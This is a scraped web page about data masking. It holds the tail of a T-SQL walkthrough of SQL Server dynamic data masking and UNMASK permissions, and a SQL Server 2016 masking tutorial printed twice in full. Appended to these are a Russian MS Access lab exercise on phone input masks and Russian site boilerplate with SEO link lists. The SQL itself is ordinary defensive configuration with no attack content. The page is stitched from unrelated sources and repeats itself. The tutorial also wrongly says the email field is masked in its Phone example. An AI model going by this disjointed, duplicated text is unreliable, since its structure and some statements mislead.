        MemberID int IDENTITY(1,1) NOT NULL PRIMARY KEY CLUSTERED, 
        Feedback varchar(100) MASKED WITH (FUNCTION = 'default()') NULL, 
        Rating int MASKED WITH (FUNCTION='default()'), 
        Received_On datetime 
        );
  6. Insert sample data

    INSERT INTO Service.Feedback(Feedback,Rating,Received_On)
    VALUES  
    ('Good',4,'2022-01-25 11:25:05'),   
    ('Excellent', 5, '2021-12-22 08:10:07'),   
    ('Average', 3, '2021-09-15 09:00:00'); 
  7. Create different users in the database

    CREATE USER ServiceAttendant WITHOUT LOGIN;  
    GO
    
    CREATE USER ServiceLead WITHOUT LOGIN;  
    GO
    
    CREATE USER ServiceManager WITHOUT LOGIN;  
    GO  
    
    CREATE USER ServiceHead WITHOUT LOGIN;  
    GO
  8. Grant read permissions to the users in the database

    ALTER ROLE db_datareader ADD MEMBER ServiceAttendant; 
    
    ALTER ROLE db_datareader ADD MEMBER ServiceLead; 
    
    ALTER ROLE db_datareader ADD MEMBER ServiceManager; 
    
    ALTER ROLE db_datareader ADD MEMBER ServiceHead; 
  9. Grant different UNMASK permissions to users

    --Grant column level UNMASK permission to ServiceAttendant  
    GRANT UNMASK ON Data.Membership(FirstName) TO ServiceAttendant;  
    
    -- Grant table level UNMASK permission to ServiceLead  
    GRANT UNMASK ON Data.Membership TO ServiceLead;  
    
    -- Grant schema level UNMASK permission to ServiceManager  
    GRANT UNMASK ON SCHEMA::Data TO ServiceManager;  
    GRANT UNMASK ON SCHEMA::Service TO ServiceManager;  
    
    --Grant database level UNMASK permission to ServiceHead;  
    GRANT UNMASK TO ServiceHead;
  10. Query the data under the context of user ServiceAttendant

    EXECUTE AS USER='ServiceAttendant';  
    SELECT MemberID,FirstName,LastName,Phone,Email,BirthDay FROM Data.   Membership;  
    SELECT MemberID,Feedback,Rating FROM Service.Feedback;  
    REVERT; 
  11. Query the data under the context of user ServiceLead

    EXECUTE AS USER='ServiceLead';  
    SELECT MemberID,FirstName,LastName,Phone,Email,BirthDay FROM Data.   Membership;  
    SELECT MemberID,Feedback,Rating FROM Service.Feedback;  
    REVERT; 
  12. Query the data under the context of user ServiceManager

    EXECUTE AS USER='ServiceManager';  
    SELECT MemberID,FirstName,LastName,Phone,Email FROM Data.Membership;  
    SELECT MemberID,Feedback,Rating FROM Service.Feedback;  
    REVERT; 
  13. Query the data under the context of user ServiceHead

    EXECUTE AS USER='ServiceHead';  
    SELECT MemberID,FirstName,LastName,Phone,Email,BirthDay FROM Data.Membership;  
    SELECT MemberID,Feedback,Rating FROM Service.Feedback;  
    REVERT;  
  14. To revoke UNMASK permissions, use the following T-SQL statements:

    REVOKE UNMASK ON Data.Membership(FirstName) FROM ServiceAttendant; 
    
    REVOKE UNMASK ON Data.Membership FROM ServiceLead; 
    
    REVOKE UNMASK ON SCHEMA::Data FROM ServiceManager; 
    
    REVOKE UNMASK ON SCHEMA::Service FROM ServiceManager; 
    
    REVOKE UNMASK FROM ServiceHead; 

See also

CREATE TABLE (Transact-SQL)
ALTER TABLE (Transact-SQL)
column_definition (Transact-SQL)
sys.masked_columns (Transact-SQL)
Get started with SQL Database Dynamic Data Masking (Azure portal)

In this article, you will learn what data masking is, how to enable data masking in an existing application, how to give access to different users to the masked data.

Data masking is the method of creating a new representation of data with random characters or data that are structurally similar to the original data. It is normally done for the protection of our sensitive data. It is also known as data obfuscation.

Dynamic Data Masking (DDM) is an evolving technology that has objectives at real-time data masking of production data. DDM changes the data stream so that the data requester does not get access to the sensitive data while no physical changes to the original production data occur.

Dynamic data masking bounds sensitive data knowledge by masking it to non-privileged users. Dynamic data masking helps prevent unauthorized access to sensitive data by allowing customers to select how much of the sensitive data to expose with negligible effect on the application layer. It’s a data protection feature that hides the sensitive data in the result set of a query over designated database fields while the data in the database is not changed. Dynamic data masking is easy to use with existing applications since masking rules are applied in the query results. Many applications can mask sensitive data without modifying existing queries.

Why Dynamic Data Masking?

Many applications contain sensitive data stored in the database and it is only available to the user on need to know basis. Only users who have the business needs to see the data should be able to access that data. Many types of users with distinguished access are accessing data concurrently. Application users should only have access to the parts of data they need. Sensitive data fields shouldn’t be exposed to the engineers connecting directly to the production database.

Image 1

Dynamic Data Masking in SQL Server 2016

Microsoft SQL Server 2016 has a built in security feature called dynamic data masking. It is a new security programmability feature in SQL Server 2016 that limits access to sensitive data by obfuscating query results. You have the ability to protect sensitive data against unauthorized access to end users, using built-in or customizable masking rules. But the privileged user can still see the unmasked data.

A common use case for the motivation of using Dynamic Data Masking is Regulatory Compliance. A strong demand for applications in order to meet privacy standards and regulatory requirements to mask sensitive data. The best thing about Dynamic Data Masking is it is very simple and easy to use.

Data is masked on the fly and underlying data in the database remains intact. Transparent to the application and very simple to apply to the existing production databases where you want to provide an additional layer of security to your sensitive data.

Features

  • Provides configurable masking policy using simple T-SQL command with which you are already familiar
  • On the fly obfuscation of data in query results
  • Database is not changed physically and database operations are not affected
  • Flexibility to define a set of privileged SQL users or roles for unmasked access

Types of Masks

There are four types of masks are offered by SQL Server 2016.

1. Default Mask

The default mask masks the full data according to the assigned data type.

  • For string types (char, nchar, varchar, nvarchar, text, ntext), it replaces the data with XXXX or fewer Xs, in case size of field is less than 4.
  • For numeric datatypes (bigint, bit, decimal, int, money, numeric, smallint, smallmoney, tinyint, float, real), it uses 0 value.
  • For binary datatypes (binary, varbinary, image), it uses a single byte of binary value 0.

2. Email Mask

The email mask especially for the fields that stores emails. It exposes only the first letter of email followed by XXX, followed by @ sign, followed by XXXX and a constant suffix “.com” to form an email. Example: aXXX@XXXX.com

3. Custom Mask

SQL Server 2016 allows you to define your own mask for a specific field. In this method, you can define the prefix and suffix characters to be exposed, and the padding will be shown as it is. “prefix,[padding], suffix”.

4. Random Mask

Random mask can be defined over any of the numeric fields. It exposes a random number within the defined range.

Adding Mask to Fields

I am using SQL Server Management Studio with SQL Server 2016 installed on the system. I am logged in with administrative privileges. I have created a database and a Customer table. I have a custom application that uses the data and accesses it with a custom user account.

I executed a select query on the table and its results are shown below:

Image 2

When I execute the application, it results in the same.

Image 3

Now, we will implement masking on the table. Implementation of Dynamic Data masking is quite simple. The syntax of implementing data masking on a specific column is:

Alter table [Table Name] Alter Column [Column Name] _
ADD MASKED WITH (FUNCTION=’[masking function]’)

Default Masking

We will apply the masking just by altering the table with privileged access of admin.

Alter table Customers Alter Column LastName ADD MASKED WITH (FUNCTION=’default()’)

After successful execution of this query, we will check the results. The results will be same in SSMS but will be changed in application. As the data is unmasked in admin privilege, but will be masked in lower privilege service account. Here, you can see that the LastName field is entirely masked. One thing is considerable that I didn’t make any changes to the application.

Image 4

Email Masking

We have a column email in our customers table. We will apply the email mask to the column by using:

Alter table Customers Alter Column Email ADD MASKED WITH (FUNCTION=’email()’)

Now again, we will refresh our application to see the results. Again, you can see that the email field is masked as described above.

Image 5

Custom Masking

We have a column Phone in our customers table. We will apply the custom mask to the column to hide the data using:

Alter table Customers Alter Column Phone ADD MASKED WITH (FUNCTION=’partial(2, "X-XXXX-X",2)’)

The partial function will apply the custom mask on Phone field. The 2 in prefix and 2 in suffix defines that starting 2 and ending 2 digits are exposed and padding under the double quote will be displayed as it is (placeholder text). Now again, we will refresh our application to see the results. Again, you can see that the email field is masked as described above.

Image 6

Random Masking

Random mask will expose a random number within a defined range in a specific column. We will apply the random mask to the CustomerId column by using:

Alter table Customers Alter Column CustomerId ADD MASKED WITH (FUNCTION=’random(10000,99999)’)

The random function requires two parameters, the lower bound and the upper bound. Now again, we will refresh our application to see the results. Again, you can see that the CustomerId field is masked with a random integer between the defined two values in our masking function.

Image 7

The main thing that you should notice is that, in all the scenarios, we didn’t make any changes in the application. We just applied the mask and it works.

Dropping Mask

Again, it is very easy to remove mask from any column. You just need a simple T-SQL command for dropping mask from column.

Alter table Customers Alter Column CustomerId DROP MASKED

Allowing and Revoking Users to See Unmasked Data

Admin users always see the original unmasked data because they are privileged. You can allow an unprivileged user to see the unmasked data if it is a business need.

Grant Unmask TO DBUser

Simply, you can revoke the unmasked access if you no longer want to see the unmasked data.

Revoke Unmask TO DBUser

Tracking the Masked Columns

If you want to keep track of columns on which you have used the mask function, a new system view called masked_columns has been defined.

SELECT c.name, tbl.name as table_name, c.is_masked, c.masking_function
FROM sys.masked_columns AS c
JOIN sys.tables AS tbl
    ON c.[object_id] = tbl.[object_id]
WHERE is_masked = 1;

Image 8

Conclusion

This article was about data masking. In this article, you learnt what data masking is, how to enable data masking in an existing application, and how to give access to different users to the masked data. The main thing was how it is easy to implement data masking. The main advantage of data masking is that we don’t need to make any changes in our application. We just have to implement it in the database.

History

  • 11th March, 2016: Initial version

I am passionate about programming, playing with data is all time my favorite hobby. Making things, processes intelligent and convenient is my ultimate goal. Love to work with real-time systems. Cloud is my life.

In this article, you will learn what data masking is, how to enable data masking in an existing application, how to give access to different users to the masked data.

Data masking is the method of creating a new representation of data with random characters or data that are structurally similar to the original data. It is normally done for the protection of our sensitive data. It is also known as data obfuscation.

Dynamic Data Masking (DDM) is an evolving technology that has objectives at real-time data masking of production data. DDM changes the data stream so that the data requester does not get access to the sensitive data while no physical changes to the original production data occur.

Dynamic data masking bounds sensitive data knowledge by masking it to non-privileged users. Dynamic data masking helps prevent unauthorized access to sensitive data by allowing customers to select how much of the sensitive data to expose with negligible effect on the application layer. It’s a data protection feature that hides the sensitive data in the result set of a query over designated database fields while the data in the database is not changed. Dynamic data masking is easy to use with existing applications since masking rules are applied in the query results. Many applications can mask sensitive data without modifying existing queries.

Why Dynamic Data Masking?

Many applications contain sensitive data stored in the database and it is only available to the user on need to know basis. Only users who have the business needs to see the data should be able to access that data. Many types of users with distinguished access are accessing data concurrently. Application users should only have access to the parts of data they need. Sensitive data fields shouldn’t be exposed to the engineers connecting directly to the production database.

Image 1

Dynamic Data Masking in SQL Server 2016

Microsoft SQL Server 2016 has a built in security feature called dynamic data masking. It is a new security programmability feature in SQL Server 2016 that limits access to sensitive data by obfuscating query results. You have the ability to protect sensitive data against unauthorized access to end users, using built-in or customizable masking rules. But the privileged user can still see the unmasked data.

A common use case for the motivation of using Dynamic Data Masking is Regulatory Compliance. A strong demand for applications in order to meet privacy standards and regulatory requirements to mask sensitive data. The best thing about Dynamic Data Masking is it is very simple and easy to use.

Data is masked on the fly and underlying data in the database remains intact. Transparent to the application and very simple to apply to the existing production databases where you want to provide an additional layer of security to your sensitive data.

Features

  • Provides configurable masking policy using simple T-SQL command with which you are already familiar
  • On the fly obfuscation of data in query results
  • Database is not changed physically and database operations are not affected
  • Flexibility to define a set of privileged SQL users or roles for unmasked access

Types of Masks

There are four types of masks are offered by SQL Server 2016.

1. Default Mask

The default mask masks the full data according to the assigned data type.

  • For string types (char, nchar, varchar, nvarchar, text, ntext), it replaces the data with XXXX or fewer Xs, in case size of field is less than 4.
  • For numeric datatypes (bigint, bit, decimal, int, money, numeric, smallint, smallmoney, tinyint, float, real), it uses 0 value.
  • For binary datatypes (binary, varbinary, image), it uses a single byte of binary value 0.

2. Email Mask

The email mask especially for the fields that stores emails. It exposes only the first letter of email followed by XXX, followed by @ sign, followed by XXXX and a constant suffix “.com” to form an email. Example: aXXX@XXXX.com

3. Custom Mask

SQL Server 2016 allows you to define your own mask for a specific field. In this method, you can define the prefix and suffix characters to be exposed, and the padding will be shown as it is. “prefix,[padding], suffix”.

4. Random Mask

Random mask can be defined over any of the numeric fields. It exposes a random number within the defined range.

Adding Mask to Fields

I am using SQL Server Management Studio with SQL Server 2016 installed on the system. I am logged in with administrative privileges. I have created a database and a Customer table. I have a custom application that uses the data and accesses it with a custom user account.

I executed a select query on the table and its results are shown below:

Image 2

When I execute the application, it results in the same.

Image 3

Now, we will implement masking on the table. Implementation of Dynamic Data masking is quite simple. The syntax of implementing data masking on a specific column is:

Alter table [Table Name] Alter Column [Column Name] _
ADD MASKED WITH (FUNCTION=’[masking function]’)

Default Masking

We will apply the masking just by altering the table with privileged access of admin.

Alter table Customers Alter Column LastName ADD MASKED WITH (FUNCTION=’default()’)

After successful execution of this query, we will check the results. The results will be same in SSMS but will be changed in application. As the data is unmasked in admin privilege, but will be masked in lower privilege service account. Here, you can see that the LastName field is entirely masked. One thing is considerable that I didn’t make any changes to the application.

Image 4

Email Masking

We have a column email in our customers table. We will apply the email mask to the column by using:

Alter table Customers Alter Column Email ADD MASKED WITH (FUNCTION=’email()’)

Now again, we will refresh our application to see the results. Again, you can see that the email field is masked as described above.

Image 5

Custom Masking

We have a column Phone in our customers table. We will apply the custom mask to the column to hide the data using:

Alter table Customers Alter Column Phone ADD MASKED WITH (FUNCTION=’partial(2, "X-XXXX-X",2)’)

The partial function will apply the custom mask on Phone field. The 2 in prefix and 2 in suffix defines that starting 2 and ending 2 digits are exposed and padding under the double quote will be displayed as it is (placeholder text). Now again, we will refresh our application to see the results. Again, you can see that the email field is masked as described above.

Image 6

Random Masking

Random mask will expose a random number within a defined range in a specific column. We will apply the random mask to the CustomerId column by using:

Alter table Customers Alter Column CustomerId ADD MASKED WITH (FUNCTION=’random(10000,99999)’)

The random function requires two parameters, the lower bound and the upper bound. Now again, we will refresh our application to see the results. Again, you can see that the CustomerId field is masked with a random integer between the defined two values in our masking function.

Image 7

The main thing that you should notice is that, in all the scenarios, we didn’t make any changes in the application. We just applied the mask and it works.

Dropping Mask

Again, it is very easy to remove mask from any column. You just need a simple T-SQL command for dropping mask from column.

Alter table Customers Alter Column CustomerId DROP MASKED

Allowing and Revoking Users to See Unmasked Data

Admin users always see the original unmasked data because they are privileged. You can allow an unprivileged user to see the unmasked data if it is a business need.

Grant Unmask TO DBUser

Simply, you can revoke the unmasked access if you no longer want to see the unmasked data.

Revoke Unmask TO DBUser

Tracking the Masked Columns

If you want to keep track of columns on which you have used the mask function, a new system view called masked_columns has been defined.

SELECT c.name, tbl.name as table_name, c.is_masked, c.masking_function
FROM sys.masked_columns AS c
JOIN sys.tables AS tbl
    ON c.[object_id] = tbl.[object_id]
WHERE is_masked = 1;

Image 8

Conclusion

This article was about data masking. In this article, you learnt what data masking is, how to enable data masking in an existing application, and how to give access to different users to the masked data. The main thing was how it is easy to implement data masking. The main advantage of data masking is that we don’t need to make any changes in our application. We just have to implement it in the database.

History

  • 11th March, 2016: Initial version

I am passionate about programming, playing with data is all time my favorite hobby. Making things, processes intelligent and convenient is my ultimate goal. Love to work with real-time systems. Cloud is my life.

Добавил:

Upload

Опубликованный материал нарушает ваши авторские права? Сообщите нам.

Вуз:

Предмет:

Файл:

Лабораторная работа_БД.docx

Скачиваний:

2

Добавлен:

17.08.2019

Размер:

34.85 Кб

Скачать

Создание
однотабличной базы данных «Записная
книжка»

Задание
1. Запустить Microsoft Access и создать файл
пустой базы данных:

  1. Пуск
    Программы
    — Microsoft Office — Microsoft Access.

  2. Выбрать
    пиктограмму Новая
    база данных
    .
    В правой панели щелкнуть на значке
    папки (правее поля Имя
    файла
    )
    и указать маршрут для созданения
    создаваемой базы данных. В поле Имя
    файла

    ввести имя создаваемого файла базы
    данных. Щелкнуть кнопку Создать.

Задание
2. Создать таблицу Адреса с помощью
конструктора таблиц:

  1. На
    вкладке Создание
    выбрать пиктограмму Конструктор
    таблиц
    .

  2. Создать
    структуру таблицы в соответствии со
    следующей таблицей:

Имя
поля

Тип
данных

Размер
поля

Подпись

Код
адреса

Числовой

Имя

Текстовый

Фамилия

Текстовый

Адрес

Текстовый

Телефон

Текстовый

Маска
ввода

– шаблон, позволяющий вводить в поле
значения, имеющие одинаковый формат.
Маска ввода автоматически изображает
в поле постоянные символы, поэтому
достаточно заполнить только пустые
позиции в маске ввода. Кроме того, в поле
с маской ввода нельзя ввести значение,
не соответствующее этой маске.

Маски
ввода определяют способы ввода данных
в базу данных. Например, с помощью маски
ввода можно дать пользователю возможность
вводить телефонные номера только в
шведском формате. Как и форматирование
отображения, маски ввода не влияют на
то, как данные хранятся в Access, а влияют
только на то, как они вводятся пользователем.

  1. В
    режиме конструктора таблиц (на вкладке
    Главная
    выбрать Режим
    таблиц,

    затем Конструктор)
    щелкнуть по имени поля Телефон.

  2. В
    области Свойства
    поля

    щелкнуть в строке Маска
    ввода
    ,
    затем щелкнуть на кнопке с изображением
    многоточия

    .
    Появится диалоговое окно Создание
    масок ввода
    .
    В этом диалоге щелкнуть кнопку Список
    (откроется диалоговое окно Настройка
    масок ввода
    ).
    В поле Описание
    ввести слово – Телефон;
    в поле Маска
    ввода ввести маску: ##-##-##; в поле
    Заполнитель
    ввести символ «_»; щелкнуть в поле
    Образцы
    данных

    (появится окончательный вид маски
    00-00-00); в поле Тип
    маски
    выбрать
    Текст/Свободный.
    Нажать кнопку Закрыть.
    В списке Маска ввода диалогового окна
    Создание масок ввода появится название
    маски — Телефон. Нажать кнопку Далее. В
    списке Заполнитель выбрать символ
    «_».Нажать кнопку Далее. На вопрос: Как
    следует хранить данные? Установить
    опцию – вместе со знаками маски, например
    35-28-43. Нажать кнопку Далее. Нажать кнопку
    Готово. В поле Маска ввода появится
    ##-##-##;0;_.

  3. Перейти
    в режим таблицы (команда Вид
    – Режим таблицы
    ).
    В диалоговом окне о сохранении выбрать
    кнопку Да.

  4. Заполнить
    столбец телефонами (см. таблицу).

Задание 4. Изменить структуру таблицы:

  1. Перейти
    в режим конструктора.

  2. Переименовать
    поле КодАдреса
    в Номер:

  • Щелкнуть
    в ячейке с именем поля КодАдреса
    и удалить текст;

  • Ввести
    новое имя поля Номер.

  1. Задать
    для поля Номер
    новую Подпись
    (Текст, который выводится в заголовке
    столбца. Если подпись не задана, то в
    заголовке отображается имя поля):

  • Поставить
    курсор в поле Номер;

  • В
    строке Подпись
    раздела Свойства
    поля

    стереть текст КодАдреса
    и ввести №.

  1. Изменить
    имя поля ДомашнийТелефон
    на ДТ
    и задать подпись для этого поля Домашний
    телефон
    .

  2. Добавить
    новое поле Отч:

  • Вставить
    пустую строку после строки Имя
    (шелкнуть в строке Имя и выполнить
    команду Вставка
    – Строки
    );

  • Ввести
    имя поля и его тип (Текстовый);

  • Задать
    Подпись
    – Отчество
    .

  1. Добавить
    новое поле ДР.
    Тип
    данных

    Дата/Время,
    Форма
    поля

    Длинный
    формат даты
    ,
    Подпись
    День
    рождения
    .

  2. Добавить
    поле Хобби:
    Тип
    данных

    Текстовый.

    Имя

    Отчество

    Фамилия

    Адрес

    Домашний

    День
    рождения

    Хобби

    1

    Ольга

    Петровна

    Сергеева

    пр. Связи, 100-12

    211-22-33

    12 февраля 1981 г.

    лыжи

    2

    Николай

    Андреевич

    Иванов

    ул. Пушкина, 20-1

    222-33-44

    14 апреля 1970 г.

    теннис

    3

    Алексей

    Павлович

    Федоров

    ул. Чердынская,
    1-20

    453-33-11

    21 мая 1974 г.

    футбол

    4

    Анна

    Николаевна

    Волкова

    пр. Ленина, 23-24

    411-13-14

    1 мая 1982 г.

    вязание

    5

    Нина

    Сергеевна

    Никольская

    ул. Попова, 47/1-78

    12 июня 1964 г.

    лыжи

    6

    Юрий

    Викторович

    Иванов

    ул. Пушкина, 12-6

    30 сентября 1965 г.

    7

    Сергей

    Андреевич

    Сахнов

    Ул. Леонова, 10/2-4

    233-22-11

    13 декабря 1978 г.

    теннис

    8

    Инга

    Юрьевна

    Горина

    пр. Связи, 1-45

    211-56-78

    5 июля 1979 г.

    9

    Наталья

    Емельяновна

    Евсеева

    ул. Попова, 34-6

    6 июля 1980 г.

    вязание

    10

    Михаил

    Викторович

    Зима

    пр. Ленина, 23-23

    412-23-44

    10 октября 1981 г.

    каратэ

  3. Сохранить
    структуру таблицы (Файл
    – Сохранить

    или щелкнуть по кнопке Сохранить
    на панели инструментов).

  4. Вернуться
    в режим таблицы.

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]

  • #
  • #
  • #
  • #
  • #
  • #
  • #
  • #
  • #
  • #
  • #

Понравилась статья? Поделить с друзьями:
  • Маска ввода для номера телефона аксесс
  • Маска аэропорт номер телефона
  • Марьянская больница номер телефона регистратуры
  • Марьяновский военкомат номер телефона
  • Марьяновский водоканал номер телефона